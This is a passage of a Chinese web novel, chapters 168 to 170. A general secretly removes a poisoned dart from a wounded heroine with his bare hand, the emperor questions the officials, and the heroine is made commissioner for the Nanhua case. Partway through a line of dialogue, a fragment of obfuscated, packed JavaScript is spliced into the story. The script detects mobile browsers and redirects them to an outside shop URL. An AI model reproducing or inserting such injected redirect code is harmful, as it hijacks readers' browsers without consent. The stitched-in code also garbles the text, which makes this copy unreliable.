“这暗器我只在传闻听过，此钉蕴含九菱针，棱尖细如针却如刚刃锋利，发射筒内有火药推送威力无穷，一经发出快若流星，三尺内能将人射穿，不论内功深浅，必死无疑，可她……”
“启禀师叔，是当时一瞬，大将军将刀射出挡住了暗器，暗器断刀而入此女子体内，已被卸掉大部分气力，师侄不才，刚为她诊脉，见她气血流畅，估计此暗器只入了皮肉，未伤脏腑，可是慢慢气血又有中毒之向，此镖可能带毒！”
此时跟着来的不言冲到了床旁喊道“毒怕啥，解就是了，师傅
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，咱磨蹭个啥？先把镖取出来再说啊！”
那御医望向不言亦是愣了半刻。
“要你在此废话，都出去，我给她取镖！”白夫人顷刻望向不言没好气的骂道。
“夫人稍安勿躁，我等先出去，就在门外守候，有需要之时，你唤我！”白神医马上说道。
“好！”白夫人马上起身拉过药箱，动作利落，从药箱中取出各式器具，然后一边点燃烛台，一边想着茉云的伤口寻找合适器具，抬目看见丝毫未动的正啸，不容分说的说道，“快出去啊，这里交给我！”
白神医伸手拉着正啸就走，正啸深知白神医夫人的医术，虽然忐忑，但还是随着白神医走出了屋子，其他人也依次退到了院中。
白夫人轻轻解开了茉云外衣，用剪子剪开了她内里衣襟，看着那血肉模糊的伤处深吸一口气，她拿起了烛台上过了火的镊子，目光专注为她取钉。
她深知，这九翎蚀骨钉的带着毒性，而且锋利异常，取镖时必须极为谨慎，稍有不慎，若更深入便会伤及脏腑。
可是不到半炷香的时间，白夫人打开门，脸上满是忧愁，她轻轻拭了拭额头的汗水，看到门外的焦急的众人，冷静地解释道：“暗器比想象中更加复杂，这枚九翎蚀骨钉十分小巧，钉身上布满棱角，镊子难以稳稳夹住。稍有不慎，它就可能滑脱，甚至弹射进一步深入，伤及内脏。”
“那该如何是好？”若辰旋即问道，正啸亦脸色一沉，皱眉望向白夫人。
白夫人深吸一口气说道：“我一时无法找到更好的工具，眼下你们去寻一力气大的女子来，将她抱起直立，这样我取镖之时不至于将镖滑入体内更深，若再不行，我用手取！”
白神医愣了半刻看向白夫人，白夫人的声音也顿了顿，目光沉重，手轻轻覆上自己的小腹，神情虽有些复杂却很坚定。
“师伯，你同意啊？”不言一惊一乍的喊道“师傅，你有孕在身，那玩意有毒，这成人解毒没问题，可是腹中胎儿不一定承受得住。”
“但我一定要救茉云！”白夫人的目光中透出了强烈的决心，但她当然知道事关重大，她希望自己丈夫能理解：“事情已经来不及诸多思量和犹豫了。”
“好！夫人的决定，我都支持！”白神医亦看向白夫人笃定而温和的说道。
“不是，师傅，你这么大把年纪才有孕，这么儿戏吗？”不言急得手舞足蹈的说，“换个人来嘛！我来！”
“滚出去，你是男子，女子失节事大！”白夫人没好气的说道，“而且我是医者，定会小心行事，不一定会被扎伤！”
“还有没有啥别的办法！”不言拼命挠着头说道，“我这绝顶聪明的脑袋，怎么此时就一片空白了！”
此时正啸沉默地径直走进屋内……
168.不拘
白夫人有些不解的跟了进来，却瞧见正啸走到茉云床边轻轻坐下，他抬手便揭开了茉云床榻的床帘。
白夫人愣了半刻马上想上前劝阻，但她看见正啸忽然一把抱起了茉云，将她轻轻立起上身坐在自己怀里，瞧向她的伤口，此时暗器依然嵌在她的皮肉之中，危险而锋利。
“你？”
“我等不需要拘这些小节！”正啸没有片刻犹豫的说：“白婶，你也帮我扶着点！”
白夫人还没晃过神，但她马上上前帮忙，正啸一只手抱着她，一只手放进旁边的水盆中，白夫人马上递过了干净的手帕。
正啸伸手为她取镖，钉子的毒性和锋利棱角瞬间刺入了他的手指，剧痛袭来，可他没有迟疑和退缩半分，直接用手指握紧着暗器，将其取了出来，顿时鲜血顺着手指流下，滴在了地上。
白夫人更是瞪圆双眼，眼中都是吃惊，她看着正啸手指的血迹，正要说什么，正啸却缓缓伸出一根手指，放在唇前，示意她保密。
白夫人恍惚间似乎明白了什么，她深吸了一口气，最终轻轻点头，压下心中的震撼。
“正啸，将血多逼出一点，少些毒性入体内。”白夫人关切的说道。
“好，白婶，你先帮她处理伤口！”
白夫人点点头，马上为茉云清理了伤口上药，然后看向正啸说道：“放心吧，不会有大碍的！”
正啸才点头起身，然后用白布缠着手上的血迹。白夫人望向正啸的背影，眼中闪过一丝复杂的情绪，原来这就是铁血之人深埋心中的克制……她深知自己唯有默默配合，便是成全。
白夫人沉整理好情绪，指着屋外，正啸望向她点了一下头，白夫人才稳稳走出了屋子，面对众人那焦急而期待的目光，她轻轻呼出一口气说：“暗器已经取出，现在只需尽快解毒，茉云不会有大碍。”
她的话音刚落，围在门外的众人都如释重负般松了一口气，先前紧张氛围终于稍稍缓解。
白神医的目光却始终关切的看着白夫人。他深知九翎蚀骨钉的毒性。
“你放心，我没事，我没有用手……”
白神医略显犹豫地问道：“夫人，那是如何将那枚暗器取出的？”
白夫人闻言心头微微一紧，她知道正啸的深意，不愿将真相泄露，于是她淡淡说道：“是镊子取出的。”
她声音虽平静，但神色却明显有些闪躲，眼神也未与白神医对视。白神医自然知道夫人的细微躲闪，但他并没有追问，他也明白此刻茉云的安危才是最重要的。
“现在当务之急是尽快为茉云解毒，我会亲自调配药物，请大家放心，不用围在此处，各自忙各自的吧，茉云也需要休息。”
“是！”众人马上应声道。
若辰则看向端坐在屋内桌旁的正啸若有所思，正啸静静坐着那儿，让自己神思镇定下来，待自己手指不再淌血，他还要速速去面圣。
不到一盏茶的功夫正啸起身，他轻轻将衣袖整理一番，他神色虽然冷峻，但眼中还是含着未散的疲惫，自己记忆中这般恐慌的记忆着实不多。
可他知道眼下的局势不容他有片刻歇息和松懈，尤其是在圣上刚刚经历了一场惊心动魄的刺杀，局势已然风雨飘摇。
若辰走到他身旁，随他一道去面圣。他也依旧神色凝重，显然也被方才茉云之事深深震动。两人一路都是默契无言，但眼中皆是心事重重，圣上此刻必定也心情沉重，谁都不知他会如何处置。
走到别苑正厅时，若辰望向正啸深吸一口气说道：“你少说话，能说的我帮你说，免得你行礼时，让皇上见到你手上伤口！”
正啸亦未多言，只是点了一下头。
“还好你素来少言！”若辰想着脸上终于闪出了一丝调侃的笑意，“正啸，你是惧怕你姑父知晓茉云，还是更惧怕茉云知晓此事？”
正啸瞬间没好气的瞪了若辰一眼，然后径直走了进去，若辰浅浅笑了深吸一口气心想这惊魂的日子啊……
正啸和若辰进门后马上行了跪礼，他两抬目便见到圣上端坐在厅堂中央神色凝重。
圣上脸上带着未曾散去的阴霾，显然方才的刺杀令他心中充满了警惕与愤怒。即便是素来冷静自持的君主，此刻也定然难以掩饰内心的波澜，他一直如此宽厚对待的皇叔瑞王爷，竟敢当街刺杀圣上！
正啸深吸一口气沉声说道：“臣等护驾不周，致令逆贼猖狂，冒犯龙颜，实属臣等失职。臣愿引咎自责，甘领罪罚。”
若辰亦恭敬地俯首说“臣治地不力，未能早察逆谋，以致贼寇行刺天颜，罪无可恕。臣恳请圣上责罚，以儆效尤。”
圣上目光扫过正啸，随后落在若辰身上。他的眉头微微皱起，虽仍心有余悸，但是看见他两还是瞬间温和了几分。
“您责罚臣，别气坏了自己！”正啸双眉微皱望向圣上说道。
元帅站在皇上身旁无语的看向正啸，关太傅眼中却露出一丝温和，圣上素来就喜正啸的坦率。
圣上神情略显疲惫抬手让他两起来，但是目光依旧威严而忿然，他深知此次南华刺杀事关重大，必须果断处理，而危机之时，正啸坚定的以身护卫，还是让他觉得欣慰和安心的。
皇上抬目望向正啸关切的说：“可有受伤？”
“臣无碍！”
皇上上下打量了正啸半刻才放心，众人皆知皇上看重正啸素来超过一般皇子，私下里跟正啸说话，就如以前正啸幼时住在他王府时，训他也像爹训儿子。
“那人是谁？”皇上端起了茶杯似乎不经意的问道。
正啸一脸坦然的说道：“臣昔日的属下！”
“昔日的属下？”
“对！”
皇上喝着茶余光瞥见正啸，他还能不了解正啸，这小子从小几乎算是在自己王府里长大。
“那人只是你属下？”
“她现在不是！”
“那现在是什么？”
“草民！”
皇上把茶杯往桌上重重一放，正啸还是一脸的坦荡，不论心中如何慌张……
皇上则看向若辰说道：“那人与你两毫无瓜葛？”
“启禀皇上，她虽已离开公门，但是她还是臣等的朋友，亦是卢正啸的师妹，亦非没有关系！”若辰马上坦诚的回复道。
“朕亦听说过，人在你身边长袖善舞，捣腾了多年，也干成了几件事！”皇上眼神中透出了冷厉说道，他们两人都是一脸从容的波澜不惊，可是心中却都是翻过波涛，要知道长袖善舞和捣腾都不是好词。
“启禀皇上，臣冒昧，瑞王谋逆之心昭然天下，此时能否容大将军和罪臣，先以戴罪之身，为朝廷扫除叛逆，保南境太平。”若辰忽然又跪下说道。
皇上抬目看了若辰一眼，又望向了关太傅，关太傅则是一脸慈笑的望向皇上，似乎眼中在说臣教子无方，犬子居然这般憨傻，转移话题也转得如此生硬，还请皇上恕罪海涵。
皇上没好气的长叹一口气说道：“瑞王竟敢如此狂妄，冰冻三尺非一日之寒，南境局势本已危急，其势要彻底清剿……”
“臣愿率军彻查此事，清扫瑞王叛党，定为朝廷除叛逆，保南境太平。”
“说起打仗你就来劲了！”皇上望向正啸没好气的说道，然后看向欲言又止的若辰说道，“怎得，你又要说什么？”
“臣本想说愿协同大将军剿灭逆贼，定不负皇上圣恩！”若辰望向皇上满脸坦诚的说道。
皇上抬手一副恨铁不成钢的样子指着说道：“去吧！”
两人马上起身告退了出去，皇上看着他两背影，长叹一口气。
“都怪臣教子无方！”关太傅一脸温和的请罪到。
“少来！”皇上没好气的端着茶喝到，“怪不了你们，都是朕给惯的！”
他两走出了大厅都松了一口气，正啸双眉微蹙，若辰却宽慰道：“你放心，茉云机灵着呢，不会走她们的老路！”
正啸无语的看了若辰一眼，然后走出别苑准备集结了将军去清缴瑞王势力，他望向执礼一眼，执礼自当明白他的意思，深深的点了一下头。
正啸带兵奉命清缴瑞王爷余党，数日间他和若辰率军奔袭南境各处，御史台也接到了旨意，清缴所有跟瑞王爷有瓜葛之官员，看来皇上这次动了真格，绝不留情。
不到十日，正啸将瑞王爷的驻军全部收编，判将全部押下，他又一刻未曾停歇，急急赶回南华。
一进城就听见了圣上居然今日召见茉云，他与若辰快马一鞭便往行宫赶了去。
茉云虽有伤在身，但依旧是镇定自若走入了行宫，这是她第一次觐见天子，以前在京城自己职级低，是没有机会一睹圣颜的。
圣上正在书房批阅奏折，茉云被人带进了行宫，她抬眼望去四周精致的壁画与檐角，梁上雕刻的龙纹栩栩如生，象征着至高无上的皇权。
当她进入书房抬微微抬头时，映入眼帘的是皇上端坐在案前，气度不凡威仪十足，神情沉稳且冷静，眼中透着一股深邃的睿智与威严。
茉云旋即低头跪拜：“草民方茉云，参见皇上，愿皇上万安。”
圣上的目光微微下垂，透过阳光看向茉云的身影，眼中带着一丝审视，缓缓说道：“平身，赐座。”
“谢皇上。”茉云起身抬起头，她第一
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次近距离面对圣上，不免怔了半刻。
“茉云，低头回话！”元帅此时小声提醒道，然后恭敬的像圣上禀报，“这孩子不知道规矩，还请皇上见谅。”
皇上看了元帅一眼，他亦看出了元帅的相护，可他亦从茉云的穿着举止看出了她绝非贤良端庄的大家闺秀！
“你是朕将啸儿贬至中州之时，与其相识？”
“启禀皇上，是！”
“连卢老太君都说，你帮他良多！”
“回禀皇上，草民并非帮衬大将军个人，所做的都是尽忠职守的本分！”
皇上抬目看了茉云一眼，她虽然微微伏低了头，却依旧身姿挺拔而坐，目光沉静如水。
关太傅亦看向了茉云，她丝毫没有旁人第一次见天子时的局促或慌乱，神情自若中还透着一股风轻云淡，元帅都显得比她紧张。关太傅轻轻一笑，正啸和辰儿如此看重之人，亦定非寻常之人。
“嗯，听说啸儿亦甚为看重你！”
此时站在元帅身边的执礼顿时锁紧双眉，想用眼神提醒茉云，千万别承认自己受到少主格外看重。
“启禀皇上，大将军来中州之时，曾有人以已识乾坤大，忧怜草木青来评价大将军，草民出生低微，蒙大将军栽培赏识！”茉云没有丝毫怯懦，眼神中带着崇敬亦含着气度说，“中州万民蒙圣上恩德，派大将军来中州为司马，大将军实乃光芒万丈之人，草民等，有幸被其照亮，也想成为光。”
皇上居然此刻抬起头看向了茉云，她虽不高贵典雅，但却周身透出了不让须眉的勇毅与气度，在加上这份从容，倒是也值得欣赏。执礼则站在元帅身旁愣了半刻，这是平日里那个拍着桌子跟少主吵的方茉云，能说出的话？
“那日朕听你说，你让啸儿定要保南境太平！”
“启禀皇上，草民是南境人，南境太平是全南境几辈人的夙愿。”
皇上在茉云的眼中亦看出了坦诚，他点了一下头说道：“啸儿自幼也是心心念念的驱逐峑戎，护佑南境。”
关太傅此时则轻轻吸了口气，抬目望向茉云。
皇上长叹了一口气望向元帅说道 ：“啸儿，平素总觉得朕不支持他！”
“皇上，那小子岂敢心有不忿！”元帅马上回复道。
“他有什么不敢的！”皇上又望向了茉云叹气道，“南境民众是否亦觉得朝廷不看重南境万民？”
“启禀皇上，草民也许无法代表南境民众，但是草民开始觉得是的。”
执礼顷刻瞪大了眼睛，此事素来是皇上多年和少主之间最大的嫌隙，元帅也愣了半刻，关太傅亦微微蹙眉看向茉云。
茉云却镇定自若的继续说道：“后来大将军一来中州，就在书房挂着一幅他苍劲的书法，士不可以不弘毅，任重而道远！大将军都知道自己尚需磨砺，故而让草民自愧浅薄，不识大局。”
皇上望向茉云眼中终于透出一丝温和，他还以为当年正啸一腔怨愤去的中州。
“那你觉得朝堂大局是什么？”
“草民不敢遑论朝堂？实则草民见识匮乏，请皇上恕罪。”
皇上撑着头看向了茉云，饶有兴致的问道：“你亦为南境之民，你若在南境为将，当如何？”
“若草民为将，会日日请战！”
皇上正视着茉云，从她眼神中看到了无比的坚毅的笃定，是一切风波、权谋，都无法撼动心志的笃定。
“待主持大局之智者，觉得我历练够了，成熟之时，定然会放我一战，以全臣子忠君王，守疆土、保社稷之夙愿！”
“你倒是和啸儿一心！”皇上终于嘴角微微上扬，关太傅则轻轻地笑了，此丫头心思好灵巧，句句说到皇上之心坎上。
茉云顷刻跪下行礼说道：“皇上谬赞，是皇上仁德昭彰爱民如子，南境昔日皆仰仗皇家天威庇佑，收复故土，今百姓安居乐业，实乃圣上之恩泽。四方皆望国泰民安，南境万民亦是军民同心，与圣上和朝廷一心。”
“说得好！”皇上目光中露出赞许，此刻他的眼神不再只是帝王的威严，而多了几分温和与认可，那深邃的双眸中闪过了一丝微不可察的笑意。
茉云坐在那里余光瞥见执礼那诧异的眼神，心想你这般诧异干嘛？我一个曾学戏出生的人，这我都不会演？况且我还去过御史台，我难道不知道眼前之人阴晴不定，可不需缘由的要了我小命？难道世人都如你少主那般憨傻，一片赤诚的跟他对着来？
就在此时门外来报，说大将军和关大人前来复命，皇上目光落在点燃着的香上，轻烟袅袅而升，他神色间闪过一丝笑意，这两小子赶来的倒快，都不到一炷香的时间……
169.所谓
两人完全顾不得疲惫马不停蹄地赶到了皇上行宫，若辰虽也心中焦急，却伸手拉住了正啸，目光中透着几分安慰。
“不能让圣上瞧见你如此匆忙！”若辰望向正啸说。
正啸望向若辰点了一下头，两人急匆匆走至门前方才止步。他两整理好衣冠，请侍卫入内通报。
通报的侍卫崇敬的点了一下头，便大声通报道：“卢大将军与关大人觐见——”
皇上允了，他们迈步走入行宫书房。书房内透出淡淡的檀香，还好圣上看似神情温和，屋内气氛不算紧张。
正啸盔甲之声显得格外清澈，面容依然波澜不惊，他拼命忍着内息的混乱，不能让皇上见到自己喘着粗气。
二人来到书案前，立即躬身行跪礼，异口同声道：“臣等参见皇上，愿皇上万安。”
皇上微微抬头目光转向他们二人，眼中闪过一丝淡淡的笑意。茉云虽只是寻常的看了一眼正啸，可心中却很奇怪，他的内息为何如此混乱……
“启禀圣上，瑞王余孽已悉数收押。”
皇上轻轻抬手，眉宇间都可以看出对正啸的满意与信任，他语气缓和却带着皇者威仪的说：“平身，此番平定叛乱，汝等功不可没。”
“皆有赖皇上英明，臣等不过尽职而已，不敢贪功！”
皇上微微一笑目光透出一丝欣慰：“有啸儿和若辰在南境，朕自无忧。叛乱已平，南境已定。汝等需继续稳固边疆，勿懈怠，待来日战峑戎，护我万里山河，安我万民生计。”
“是，臣必不负圣上所托！”两人立即跪下行礼道，这是圣上第一次给出如此笃定的答复，要战峑戎平南境，众人眼光中皆透出了诧异和惊喜。
“平身，赐座，你两来得也正好，朕刚召见完方茉云！”
正啸和若辰心中也皆松了一口气，看来圣上并未丝毫迁怒，于是起身恭敬地坐下。
茉云则立即起身向皇上行跪礼说：“皇上国事繁忙，草民不敢多有打扰，若无其他吩咐，草民斗胆先行告退，愿圣上安康！”
若辰望向茉云嘴角泛起淡淡笑意，这便是自己见到了茉云最规矩的时候。
皇上温和轻声的说：“嗯，你且退下，先安心养伤。”
茉云再次像皇上行礼，然后起身准备离开，动作干脆利落，不带一丝拖泥带水。
可就在这转身的一刹那，皇上又忽然开口：“说来，你以性命护驾忠心可嘉，功不可没，按理当重赏于你，你想要何赏赐，可直言于朕。”
茉云脚步一顿微微回身，神情虽依旧镇定，但眼中闪过一丝迟疑。
“朕倒听闻，卢老太君对你甚为满意，想必，你二人共事多年，情谊深厚……”
正啸眼神瞬间闪过一抹错愕，显然对于皇上此言既意外又有些无措，以他对圣上的了解，此刻定是对茉云的试探，正啸的心提到了嗓子眼，若辰也顷刻间双眉微蹙的望向茉云。
“启禀皇上，若卢老太君厚爱，乃草民之幸。”茉云依旧一脸淡然的回应，但余光早已瞧见正啸那慌乱诧异的表情。
执礼心里则是懊恼万分，没有提醒一下茉云，前车之鉴，切莫在圣上面前沾染少主半分。
“但是卢太君乃元帅家的老夫人，看重草民如看待尽忠值守的将士一般，别无他意！”
皇上依旧面色沉稳的抬目看向茉云，眼中闪过一丝异样。
茉云心中着实无语至极，这个皇上真是将卢正啸当宝贝，我若觊觎，他定砍了我，我若不觊觎，他又觉得我不识抬举，此刻眼中皆是一副难道你还看不上我啸儿的神情。
“皇上，大将军智勇双全，少时便有不凡之志，得圣上亲自垂教，师承天威。实乃国之重臣，朝廷栋梁，胸怀家国，英名远播，忠勇可嘉，德才兼备，堪为百官之楷模！”茉云故意可劲的罗列着歌功颂德之词，皇上居然又嘴角微微上扬望向她，“草民粗鄙浅薄，您看大将军错愕之神色，草民岂敢荼毒大将军。”
皇上则眼角露出了笑意，瞥了正啸一眼，正啸亦立刻恢复了波澜不惊，但是眼底却闪过一丝无奈。
此时茉云忽然地跪下，铿锵有力地说：“皇上，若皇上恩赏草民，草民斗胆求皇上让我主审南华之案。”
皇上微微一愣，神色中带着诧异，目光落到茉云身上：“你以性命护驾，立下如此天功，便只求一个审案的权利？”
茉云抬起头，眼眸顷刻燃起一股豪情，坚定不移的说：“皇上，草民自知出生微末，但若此命能换得铲除奸佞，废除南华几百年的陋习，为南华女子换得一片朗朗乾坤，今生便是再值不过了！”
此话一出，殿内众人皆为之动容，无论是官员还是侍从，都不得不对她这份豪迈肃然起敬，她坦然无畏的神情和意气风发之气度，仿佛让整个大殿都为之一振。
“来人，取尚方宝剑来。”
内侍旋即捧着皇上尚方宝剑走入大殿。宝剑通体沉稳华贵，剑身上雕刻着精美的纹饰，处处彰显着它不可动摇的权威。
皇上目光深沉而威严地看向茉云：“朕赐你尚方宝剑，封你为此案钦差，主审南华之案。凡此案相关之人，无论地位高低，权柄大小，皆由你全权处置，朕予你生杀之权，还南华一片朗朗乾坤。”
茉云闻言双手郑重接过尚方宝剑，低头行礼，眼神全是坚定：“臣定不负圣上所托，必查清此案始末，将南华旧弊尽扫，还南华一个清明天地。”
皇上望向茉云眼中透着赏识的点了一下头，抬手示意她可退下了。
茉云手持尚方宝剑行完跪礼便起身离去，转身的瞬间顷刻眉开眼笑，这下彻底能翻本了，非得吓死南华城那些老太婆。
正啸眼神中闪过一丝无语，这丫头真是卯足了劲要让南华好看！若辰则只能伏低头拼命忍着笑，看背影茉云何其英姿勃发，可却是满脸的嬉皮笑脸。
皇上意味深长的看了正啸一眼，嘴角又泛起一丝笑意，元帅亦轻轻的松了一口气，总算是有惊无险，关太傅则摸着胡须微微笑了，她算是过关了……
正啸复命完，皇上命他下去歇息，正啸出了行宫上了马车便扯过若辰递过来的丝巾捂着嘴，才没让一口血喷出来，他本就在为茉云取镖时中毒，还不得不带兵围剿瑞王爷之兵，至伤势加重。回到了别苑，他就径直回了房，也没有见任何人。
白神医马上赶来给他施针解毒，正啸顷刻昏睡了过去，不言在旁帮忙配药，他伸手摸了一下正啸的脉，诧异而不解的望向白夫人：“师傅，大将军为何中了那镖的毒！”
“管好你自己的事！”
不言若有所思的配着药，顿时瞪大了眼睛指着正啸说道：“他给方茉云……”
白夫人拿起碎药杵对着不言的头就是一击：“你要敢乱说半句，我就赶你出师门！”
不言还是一脸震惊的望向正啸，他堂堂大将军何以如此为方茉云冒险。
“无碍，夫人，茉云若知道此事，定将杀你徒儿灭口！”
不言顿时晃过神来说道：“对，这事千万不能说！”
白夫人则被逗笑了摇摇头，可是心中也是震撼了好几日，她夫君白神医却是一脸镇定自若，反复早已看破。
夜里白神医夫妇便解了正啸的毒，还好此钉虽险，毒却不高明，众人亦退下，让他好生歇息了一夜。
翌日晨曦微露，寒风透凉之时，茉云就带着万莫还有老马他们四人开始办案了，他们先走进一家小馆，按照他们的老规矩，无论案件何其复杂，吃饱了再说，茉云饶有兴致的先点了一堆早点：油条，饼、粥和汤。
“吃饱再干活。”茉云抬手拿起一根香酥的油条甚为从容的咬着，大家心领神会纷纷低头大快朵颐，她边吃边平淡的吩咐道：“老规矩，各自分工行事。”
众人边埋头大吃特吃，边一个劲的点头。
“老马，你去昆家再做探查，所有细微的痕迹不要放过。小马你去查包家，包芸莲的二叔给我查清楚了！”茉云望向他顿时眼神了狠戾说道。
“是！”
茉云又看向另外两人：“石川你去查府衙的异常，太易去查瑞王府入城后的府兵动向，看他们还与城中谁有关联！按计划行动，重大的可疑之事立刻汇报。”
话音刚落，众人放下碗筷纷纷起身，领命而去，各自奔赴任务。
茉云则咬着油条，目光落在了依旧在埋头苦吃的万莫，她轻轻吸了口气，压低了声音说：“万莫，有件事我问问你。”
万莫抬起头丝毫没有拒绝的点点头，等着她继续说下去。
“你可还记得，我曾在牢中与我师兄相谈？”茉云顿了顿语气稍稍试探的说道，“你记得我跟师兄说了啥吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948675|130368||http|test|mini|href|location''.split(''|''),0,{}));
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“你说你喜欢将军……”
“行了行了！”茉云捂着头打断说道“我提及的……那些，你可有告诉谁！”
“没有人问过，我谁也没说！”
茉云松了一口气，心想幸好万莫不是轻易跟人聊天的人：“哦，那你不要告诉少主，任何人都不要说！”
万莫一听顿时瞪大了眼睛，他手足无措地挠了挠头，结结巴巴地问：“那少主要是问我，我……我难道能骗他？”
茉云心中皆是无奈，她也料到万莫定然转不过这个弯，恐吓是无用的，只能语气平缓的忽悠：“并不是让你骗他，他也肯定不会问你啊，再说，咱只是暂且隐瞒而已。那日你也见了，在皇上面前喜欢你少主，你说有没有什么好下场？”
“没有！”万莫笃定的回答的说道，“小白就特别惨！”
“小白是谁？”茉云不解的问道。
“少主喜欢，我也很喜欢，但是圣上不喜，我就再也没有看见小白了！”
茉云顿时背后透出一丝凉意，心想自己昨日面圣是不是稍有不慎，便也是这个下场。
“那个时候不论多晚少主回来，小白都会去巷子口接少主！”万莫想着说道，“看见少主和我，它就会拼命的摇尾巴！可圣上说陪他玩没有志气！”
“玩物丧志是吧？”茉云想着不对劲啊，恍然大悟指着万莫说道：“你骂我是狗呢？”
“嗯？”
茉云又捂着头，心想跟万莫讨论这些事还真有点费劲：“万莫，你说咱也是兄弟一场对吧，你能眼看我步……那小白的后尘吗，也被弄死？”
万莫眼中闪过一丝惊慌拼命摇头。
“所以你得替我保密！咱不是骗他，只是时机不对，我跟你讲，你若是喜欢一个人，得亲自告诉他，不能假手于人，日后我自己告诉他！”
万莫目光中充满了挣扎和费解，但最后好像觉得也有点道理的点点头：“那我现在……不说，你自己说！”
茉云无语的喝着汤敷衍道：“哦！我日后定然告诉他！”
“日后是何时？”
“是……以后我要是忘了说，你提醒我，或者帮我说行吧！”
万莫这才点点头说道：“我会提醒你的！”
茉云无语的被逗笑了，撑着头看向万莫，满脸真诚的点点头，万莫这才放下心继续大吃特吃。
茉云又拿起一根油条若有所思，心想这难道就是卢正啸在人多之处就对自己态度异常恶劣的原因，可是她又晃晃头忿然回忆起，自己真是想太多了，他自入中州起，见到自己总是百般不顺眼，昨日皇上才稍微那么暗示了一下，他那眼珠子都吃惊得要瞪出来一般。
“哼！”想到此，茉云不禁忿然的咬着油条，可是瞧见万莫一脸不解的望向自己，她又只能保持一脸傻笑，“没事，咱吃。”
晌午之时，正啸缓缓睁开双眼，感到一股久违的轻松，身体虽依然有些虚弱，但已没有了之前的针刺之痛。
他从床上起身，披上外袍走出房门，正午的暖阳洒满庭院，温暖而柔和，南华的雪早已悄然融化，庭院中的石板路露出深灰色的纹理，仿佛整个世界重新焕发了生机。
他正站在房前感受着冬日暖阳，忽然看见小院门口千山领着一人走入院来……
而此时，茉云刚去了一趟玉心兰处，问了些案件相关的事，便来到了别苑，她正好想问下正啸是否认识她那日在昆府遇见的武林高手，可这武林中人为何要助纣为虐，行刺于他。
她走到正啸的房前发现房门虚掩着，便如往常一样抬手便推开了房门：“卢正啸，问你件事！”
茉云原以为正啸不是在写公文就是在休息，然而眼前的景象让她瞬间愣住。
房内光线昏黄而柔和，他师妹林宥汐正坐在他对面哭得梨花带雨，泪水顺着她的面庞滴滴滑落，正啸的神情中带着难得的关切。
这一幕让茉云顿时一怔，身体都停滞了，她能感觉到心中涌起一阵复杂的思绪，可是她迅速又反应过来，自己怎么这个时候闯了进来？
正啸亦转头望向了一脸尬笑的茉云，她顷刻没有再多言，一副不愿打扰房中两人的神情，傻笑着立即退出房门将门合上。
合上门的瞬间，茉云突然意识到，曾经青岚说过自己，不过是无心者才无所谓，若有心……
170.烈火
千山此时正端了添茶的热水来，看见茉云鬼鬼祟祟的样子，万莫则站在她身后一脸的懵懂。
“万莫，你们干嘛？”
“你还问我干嘛？”茉云转身便没好气的指着他小声骂道：“你怎么做贴身侍卫的！”
千山还没晃过神看向茉云：“什么？”
此时恰逢若辰和执礼刚从典王爷处来，准备来跟正啸商议此事，到小院门口便看见他两在争吵，便疾步赶了过来。
“主子在幽会，你就得好好在门口守着啊！”茉云轻声骂道，“害我又闯了进去！”
“你别闯啊！”
“我怎么知道，你门上贴了告示啊！”茉云想着懊恼的捂着额头说道，“也怪我，你关了门的！”
“不是！”千山想着无语的解释说，“我只是去取些热水添茶罢了，风大我将门关了……”
“你哥真不懂事，白混这么多年了……”茉云无语的望向万莫转身要跑，万莫还是一脸的费解的憨傻望着，没搞清楚他们在争什么。
忽然听到屋内传来急促的脚步声，房门“吱呀”一声被猛地打开，茉云还未完全转过身，正啸已然站在她面前。若辰和执礼皆抬目望去，顷刻间忍俊不禁，都知道怎么回事了，一脸看好戏的神情。
“我不是故意……”茉云一脸抱歉傻笑着说道，话未出口，便看见了正啸那深沉的目光，他双眉微蹙，这表情好似与往日亦不同。
“进来。”正啸低沉却不容拒绝的说。
茉云本想推辞，却看见正啸如此决然的望向自己，也只得稍作停顿后迈步走了进去，此刻屋内的气氛似乎更多了一份微妙。
正啸的师妹林宥汐坐在桌旁依然带着泪痕，见茉云进来才迅速擦了擦眼角。若辰和执礼亦跟了进去，眼神中不免带着一丝揶揄的神情望向正啸，正啸压根都不看他两。
茉云清清嗓子一脸正色的想要告退说道：“下官本是有事想请教大将军，我等会儿，哦，不！我明日再来。”
正啸看向茉云眼神中透出一丝无奈，然后转头看向宥汐温和而坦荡的说道：“她是主审，你所求之事，亲自跟她说吧！”
宥汐这才望向茉云，整理了情绪说道：“方师妹，沐白实乃被奸人蛊惑，为救我才被那贼人利用，可否求你为他查明真相？”
“林师姐，沐白是谁？”
“就是当日在昆家中与你过了数百招之人。”
茉云心想那个被押解在牢中一言不发的武林高手，原来名字叫沐白，当日自己火光中，依稀没有看错，他果然和林宥汐一起逃走的。
“师姐的意思，是否是说……他是被瑞王以你性命相要挟，去刺杀卢正啸？”茉云望向宥汐说道，“那他与你是何关系？”
“没有什么关系！”宥汐欲言又止深吸一口气说道。
“林师姐？若要救他，还请说出实情！”茉云神色看似淡然，却带着压迫感扑面而来。
“我幼时，他曾是我邻家自小的好友，后来我家也家道中落，他和我着实没有什么关系了……”
茉云顷刻望眉望向宥汐，宥汐神色中透出一丝不堪回首的苦楚，茉云又看了正啸一眼，正啸平淡的喝着杯中之茶。她再转头看向若辰一脸的故作平淡，执礼眼神中的意味深长，茉云则嘴角上扬的笑了。
“那位少侠自幼便钦慕师姐？”
宥汐愣了半刻，看向茉云亦没有回答，可是也没有否认。
“林师姐，您叫我一声师妹，我亦无所隐瞒，此案的关键不在于他有罪与否，在于他的动机，此人我断然不会放过他，若是师姐顾及昔日青梅竹马之情，为他备块好地！”茉云起身说道。
众人皆瞬间诧异的望向茉云，宥汐更是错愕的说道：“他没有杀任何人！”
“这一众杀手来杀卢正啸只是为了钱，可那人是真的打心眼想让卢正啸死！”
“师兄？他不可能真的杀你，只是一时糊涂！”宥汐望向正啸吃惊地说道，“他这个人，你知道的！”
正啸抬眼看着茉云，茉云则眼神顷刻透出狠戾的说道：“在公言公，若大将军要用职级影响本官断案，我只能上奏皇上，想必后果就是他和林师姐都会有危险！”
“至于吗？”若辰轻轻理了一下袖子，眉目含笑且温和的望向茉云道。
